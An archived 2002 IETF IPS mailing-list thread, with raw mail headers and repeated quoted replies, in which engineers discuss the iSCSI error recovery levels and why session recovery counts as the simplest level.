g78IJNU03244 for ips-outgoing; Thu, 8 Aug 2002 14:19:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas2.cos.agilent.com (msgbas2x.cos.agilent.com [192.25.240.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78IJLo03238; Thu, 8 Aug 2002 14:19:21 -0400 (EDT) Received: from msgrel1t.cos.agilent.com (msgrel1t.cos.agilent.com [130.29.152.157]) by msgbas2.cos.agilent.com (Postfix) with ESMTP id 552D41C97; Thu, 8 Aug 2002 12:19:20 -0600 (MDT) Received: from axcsbh6.cos.agilent.com (axcsbh6.cos.agilent.com [130.29.152.171]) by msgrel1t.cos.agilent.com (Postfix) with SMTP id 3622B650; Thu, 8 Aug 2002 12:19:19 -0600 (MDT) Received: from 130.29.152.171 by axcsbh6.cos.agilent.com (InterScan E-Mail VirusWall NT); Thu, 08 Aug 2002 12:19:19 -0600 Received: by axcsbh6.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 12:19:19 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D64332F@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Shahram_Davari@pmc-sierra.com, Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 12:19:17 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-8581649c-9ec4-453c-9a59-f4b80031b26c" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-8581649c-9ec4-453c-9a59-f4b80031b26c Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23F08.1BB1A370" ------_=_NextPart_001_01C23F08.1BB1A370 Content-Type: text/plain; charset="iso-8859-1" Shahram, Wen you start a new session, you don't recover any PDUs. All the iSCSI state died with the old session. iSCSI doesn't know the new session had any relationship to the old session. As Julian said, recovery at that point is up to the SCSI layer above iSCSI. It is up to SCSI to retry any commands that it wants to retry. When SCSI retries a command, iSCSI doesn't know it is a retry. To the iSCSI layer it is just like any other SCSI command it receives. Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Wednesday, August 07, 2002 8:44 AM To: 'Julian Satran' Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, To start a new session you need to start new connections and you need to support the PDU recovery. So how is that a subset of PDU and connection recovery? -Shahram (I will explain the detailed clarity issues in another email) -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:34 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session. As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific or keep this type of comment out of this context. Julo Shahram Davari 08/07/2002 06:09 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram ------_=_NextPart_001_01C23F08.1BB1A370 Content-Type: text/html; charset="iso-8859-1"
Shahram,
 
Wen you start a new session, you don't recover any PDUs. All the iSCSI state died with the old session. iSCSI doesn't know the new session had any relationship to the old session.
 
As Julian said, recovery at that point is up to the SCSI layer above iSCSI. It is up to SCSI to retry any commands that it wants to retry. When SCSI retries a command, iSCSI doesn't know it is a retry. To the iSCSI layer it is just like any other SCSI command it receives.
 
Pat
 
-----Original Message-----
From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
Sent: Wednesday, August 07, 2002 8:44 AM
To: 'Julian Satran'
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Julian,
 
To start a new session you need to start new connections and you need to support
the PDU recovery. So how is that a subset of PDU and connection recovery?
 
 
-Shahram
 
(I will explain the detailed clarity issues in another email)
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:34 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question


Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session.
As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific
or keep this type of comment out of this context.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>

08/07/2002 06:09 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu
        Subject:        RE: iSCSI question

       


Julian,
 
Thanks. I have read that section but it is not very clear.
 
I also agree that Connection recovery requires everything in command recovery.
But what about session recovery? isn't it a superset of both connection and command recovery?
 
Yours,
-Shahram
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:03 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: iSCSI question


Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo

Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
       To:        ips@ece.cmu.edu
       cc:        
       Subject:        iSCSI question

     



Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram



------_=_NextPart_001_01C23F08.1BB1A370-- ------=_NextPartTM-000-8581649c-9ec4-453c-9a59-f4b80031b26c-- From owner-ips@ece.cmu.edu Thu Aug 8 14:44:19 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22800 for ; Thu, 8 Aug 2002 14:44:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78IRTZ03897 for ips-outgoing; Thu, 8 Aug 2002 14:27:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mother.pmc-sierra.bc.ca (mother.pmc-sierra.bc.ca [216.241.224.12]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g78IRPo03881 for ; Thu, 8 Aug 2002 14:27:25 -0400 (EDT) Received: (qmail 6991 invoked by uid 104); 8 Aug 2002 18:27:19 -0000 Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4217. . Clean. Processed in 0.639766 secs); 08 Aug 2002 18:27:19 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by mother.pmc-sierra.bc.ca with SMTP; 8 Aug 2002 18:27:18 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g78IRIw00786; Thu, 8 Aug 2002 11:27:18 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 11:27:23 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037D2@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'pat_thaler@agilent.com'" , Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 11:27:13 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23F09.37555530" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23F09.37555530 Content-Type: text/plain; charset="iso-8859-1" Pat, Thanks. I understand your point. Although terminating a session may be easy, but, starting a new session requires new login, parameter exchange, new connections establishment, authentication, etc. So I wonder how is this any simpler than a simple PDU retransmit? Yours, -Shahram -----Original Message----- From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] Sent: Thursday, August 08, 2002 2:19 PM To: Shahram Davari; Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Shahram, Wen you start a new session, you don't recover any PDUs. All the iSCSI state died with the old session. iSCSI doesn't know the new session had any relationship to the old session. As Julian said, recovery at that point is up to the SCSI layer above iSCSI. It is up to SCSI to retry any commands that it wants to retry. When SCSI retries a command, iSCSI doesn't know it is a retry. To the iSCSI layer it is just like any other SCSI command it receives. Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Wednesday, August 07, 2002 8:44 AM To: 'Julian Satran' Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, To start a new session you need to start new connections and you need to support the PDU recovery. So how is that a subset of PDU and connection recovery? -Shahram (I will explain the detailed clarity issues in another email) -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:34 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session. As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific or keep this type of comment out of this context. Julo Shahram Davari 08/07/2002 06:09 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram ------_=_NextPart_001_01C23F09.37555530 Content-Type: text/html; charset="iso-8859-1"
Pat,
 
Thanks. I understand your point. Although terminating a session may be easy, but, starting a new session requires new login, parameter exchange, new connections establishment, authentication, etc. So I wonder how is this any simpler than a simple PDU retransmit?
 
Yours,
-Shahram
-----Original Message-----
From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com]
Sent: Thursday, August 08, 2002 2:19 PM
To: Shahram Davari; Julian_Satran@il.ibm.com
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Shahram,
 
Wen you start a new session, you don't recover any PDUs. All the iSCSI state died with the old session. iSCSI doesn't know the new session had any relationship to the old session.
 
As Julian said, recovery at that point is up to the SCSI layer above iSCSI. It is up to SCSI to retry any commands that it wants to retry. When SCSI retries a command, iSCSI doesn't know it is a retry. To the iSCSI layer it is just like any other SCSI command it receives.
 
Pat
 
-----Original Message-----
From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
Sent: Wednesday, August 07, 2002 8:44 AM
To: 'Julian Satran'
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Julian,
 
To start a new session you need to start new connections and you need to support
the PDU recovery. So how is that a subset of PDU and connection recovery?
 
 
-Shahram
 
(I will explain the detailed clarity issues in another email)
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:34 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question


Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session.
As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific
or keep this type of comment out of this context.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>

08/07/2002 06:09 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu
        Subject:        RE: iSCSI question

       


Julian,
 
Thanks. I have read that section but it is not very clear.
 
I also agree that Connection recovery requires everything in command recovery.
But what about session recovery? isn't it a superset of both connection and command recovery?
 
Yours,
-Shahram
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:03 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: iSCSI question


Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo

Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
       To:        ips@ece.cmu.edu
       cc:        
       Subject:        iSCSI question

     



Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram



------_=_NextPart_001_01C23F09.37555530-- From owner-ips@ece.cmu.edu Thu Aug 8 16:36:55 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26129 for ; Thu, 8 Aug 2002 16:36:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78K32f11465 for ips-outgoing; Thu, 8 Aug 2002 16:03:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78K2xo11456; Thu, 8 Aug 2002 16:02:59 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id BD22C3070A; Thu, 8 Aug 2002 16:02:58 -0400 (EDT) Date: Thu, 8 Aug 2002 12:59:00 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Shahram Davari Cc: "'pat_thaler@agilent.com'" , , , Subject: RE: iSCSI question In-Reply-To: <4B6D09F3B826D411A67300D0B706EFDEB037D2@nt-exch-yow.pmc-sierra.bc.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Thu, 8 Aug 2002, Shahram Davari wrote: > Pat, > > Thanks. I understand your point. Although terminating a session may be > easy, but, starting a new session requires new login, parameter > exchange, new connections establishment, authentication, etc. So I > wonder how is this any simpler than a simple PDU retransmit? It's simpler in terms of the code in both the initiator and target. That's how it's simpler. :-) Take care, Bill From owner-ips@ece.cmu.edu Thu Aug 8 16:39:29 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26177 for ; Thu, 8 Aug 2002 16:39:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78KLeV12780 for ips-outgoing; Thu, 8 Aug 2002 16:21:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from father.pmc-sierra.bc.ca (father.pmc-sierra.bc.ca [216.241.224.13]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g78KLbo12774 for ; Thu, 8 Aug 2002 16:21:37 -0400 (EDT) Received: (qmail 9672 invoked by uid 104); 8 Aug 2002 20:21:31 -0000 Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-1.00 (uvscan: v4.1.40/v4217. . Clean. Processed in 0.647272 secs); 08 Aug 2002 20:21:31 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by father.pmc-sierra.bc.ca with SMTP; 8 Aug 2002 20:21:30 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g78KLKw22222; Thu, 8 Aug 2002 13:21:30 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 13:21:26 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037D3@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'Bill Studenmund'" Cc: "'pat_thaler@agilent.com'" , Julian_Satran@il.ibm.com, ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 13:21:16 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Bill, Thanks for your reply. Please see my comments below: 1) I doubt that the session re-establishment code is simpler than PDU recovery code. But think what you are saying is that, you need to have the session recovery anyway, so the PDU recovery is extra code. 2) Even if that is the case, it has nothing to do with the error recovery hierarchy. The error recovery hierarchy must show what recovery should be tried before the other ones. In other words it has to show how the recovery escalates. 3) I think it should escalate as following: PDU -> Connection -> Session Yours, -Shahram > -----Original Message----- > From: Bill Studenmund [mailto:wrstuden@wasabisystems.com] > Sent: Thursday, August 08, 2002 3:59 PM > To: Shahram Davari > Cc: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com; > ips@ece.cmu.edu; > owner-ips@ece.cmu.edu > Subject: RE: iSCSI question > > > On Thu, 8 Aug 2002, Shahram Davari wrote: > > > Pat, > > > > > Thanks. I understand your point. Although terminating a > session may be > > easy, but, starting a new session requires new login, parameter > > exchange, new connections establishment, authentication, etc. So I > > wonder how is this any simpler than a simple PDU retransmit? > > It's simpler in terms of the code in both the initiator and target. > > That's how it's simpler. :-) > > Take care, > > Bill > From owner-ips@ece.cmu.edu Thu Aug 8 17:01:04 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA26736 for ; Thu, 8 Aug 2002 17:01:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78KdHK13985 for ips-outgoing; Thu, 8 Aug 2002 16:39:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from astutenetworks.com (2.astutenetworks.com [216.142.74.2]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78KdBo13973; Thu, 8 Aug 2002 16:39:12 -0400 (EDT) Received: from amirdesktop (dhcp62 [172.21.2.62]) by astutenetworks.com (8.11.6/8.11.2) with SMTP id g78KcrE06566; Thu, 8 Aug 2002 13:38:53 -0700 From: "Amir Shalit" To: "Shahram Davari" Cc: , Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 13:38:51 -0700 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00FA_01C23EE0.EE59BC90" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 In-reply-to: <4B6D09F3B826D411A67300D0B706EFDEB037D2@nt-exch-yow.pmc-sierra.bc.ca> Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00FA_01C23EE0.EE59BC90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Shahram, 1) Connection reassignment requires more than PDU retransmission to handle corner cases 2) Error recovery level 1&2 requires more buffering which takes space and lowers performance. If you support error recovery level 1 you might as well support level 2. Amir -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Shahram Davari Sent: Thursday, August 08, 2002 11:27 AM To: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Pat, Thanks. I understand your point. Although terminating a session may be easy, but, starting a new session requires new login, parameter exchange, new connections establishment, authentication, etc. So I wonder how is this any simpler than a simple PDU retransmit? Yours, -Shahram -----Original Message----- From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] Sent: Thursday, August 08, 2002 2:19 PM To: Shahram Davari; Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Shahram, Wen you start a new session, you don't recover any PDUs. All the iSCSI state died with the old session. iSCSI doesn't know the new session had any relationship to the old session. As Julian said, recovery at that point is up to the SCSI layer above iSCSI. It is up to SCSI to retry any commands that it wants to retry. When SCSI retries a command, iSCSI doesn't know it is a retry. To the iSCSI layer it is just like any other SCSI command it receives. Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Wednesday, August 07, 2002 8:44 AM To: 'Julian Satran' Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, To start a new session you need to start new connections and you need to support the PDU recovery. So how is that a subset of PDU and connection recovery? -Shahram (I will explain the detailed clarity issues in another email) -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:34 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session. As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific or keep this type of comment out of this context. Julo Shahram Davari 08/07/2002 06:09 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram ------=_NextPart_000_00FA_01C23EE0.EE59BC90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Shahram,
 
1)=20 Connection reassignment requires more than PDU retransmission to=20 handle corner cases
 
2) Error recovery level 1&2 requires more = buffering which=20 takes space and lowers performance. If
   you support error recovery level 1 you might as = well support=20 level 2.
 
Amir
-----Original Message-----
From: = owner-ips@ece.cmu.edu=20 [mailto:owner-ips@ece.cmu.edu]On Behalf Of Shahram=20 Davari
Sent: Thursday, August 08, 2002 11:27 = AM
To:=20 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com
Cc:=20 ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI=20 question

Pat,
 
Thanks. I understand your point. Although = terminating=20 a session may be easy, but, starting a new session requires new = login,=20 parameter exchange, new connections establishment, authentication, = etc. So I=20 wonder how is this any simpler than a simple PDU=20 retransmit?
 
Yours,
-Shahram
-----Original Message-----
From: = pat_thaler@agilent.com=20 [mailto:pat_thaler@agilent.com]
Sent: Thursday, August 08, = 2002=20 2:19 PM
To: Shahram Davari; = Julian_Satran@il.ibm.com
Cc:=20 ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI=20 question

Shahram,
 
Wen you start a=20 new session, you don't recover any PDUs. All the iSCSI state died = with the=20 old session. iSCSI doesn't know the new session had any relationship = to the=20 old session.
 
As = Julian said,=20 recovery at that point is up to the SCSI layer above iSCSI. It is up = to SCSI=20 to retry any commands that it wants to retry. When SCSI retries a = command,=20 iSCSI doesn't know it is a retry. To the iSCSI layer it is just like = any=20 other SCSI command it receives.
 
Pat
 
-----Original Message-----
From: Shahram Davari=20 [mailto:Shahram_Davari@pmc-sierra.com]
Sent: Wednesday, = August 07,=20 2002 8:44 AM
To: 'Julian Satran'
Cc: = ips@ece.cmu.edu;=20 owner-ips@ece.cmu.edu
Subject: RE: iSCSI=20 question

Julian,
 
To=20 start a new session you need to start new connections and you need = to=20 support
the PDU recovery. So how is that a subset = of PDU=20 and connection recovery?
 
 
-Shahram
 
(I will explain the detailed clarity = issues in=20 another email)
-----Original Message-----
From: Julian Satran=20 [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, = August 07,=20 2002 11:34 AM
To: Shahram Davari
Cc: = ips@ece.cmu.edu;=20 owner-ips@ece.cmu.edu
Subject: RE: iSCSI=20 question


Session=20 recovery is in fact leaving all recovery to SCSI - it drops = everything and=20 creates a new session.
As for you=20 comment on the clarity of chapter 5 at this stage it makes sense = to be=20 either specific
or = keep this type=20 of comment out of this context.

Julo


Shahram Davari=20 <Shahram_Davari@pmc-sierra.com>=20

08/07/2002 06:09 = PM

       =20
    =    =20 To:        Julian = Satran/Haifa/IBM@IBMIL=20
      =   cc:=20        ips@ece.cmu.edu,=20 owner-ips@ece.cmu.edu
 =20       Subject:        RE: = iSCSI=20 question

  =    =20  


Julian,
 
Thanks. I have=20 read that section but it is not very clear.
 
I also agree that Connection recovery = requires=20 everything in command recovery.
But what about session recovery? isn't it a superset of = both=20 connection and command recovery?
 
Yours,=20
-Shahram =
-----Original Message-----
From: = Julian=20 Satran [mailto:Julian_Satran@il.ibm.com]
Sent: = Wednesday, August=20 07, 2002 11:03 AM
To: Shahram Davari
Cc:=20 ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: = iSCSI=20 question


Sharam,=20

You may want to go = over the=20 recovery chapter. =
It has detailed answers to all your = questions. =
The superset/subset is based on = functions you=20 need for the next level.=20

Session recovery = drops real=20 recovery to SCSI. =
Command recovery recovers from = individual=20 command errors without
changing connection and the highest = enable you=20 to switch to a new connection and
continue = commands=20 there. =

2 requires everything in = 1.

Julo =

Shahram = Davari=20 <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 = PM

    =    =20
    =  =20  To:       =  ips@ece.cmu.edu
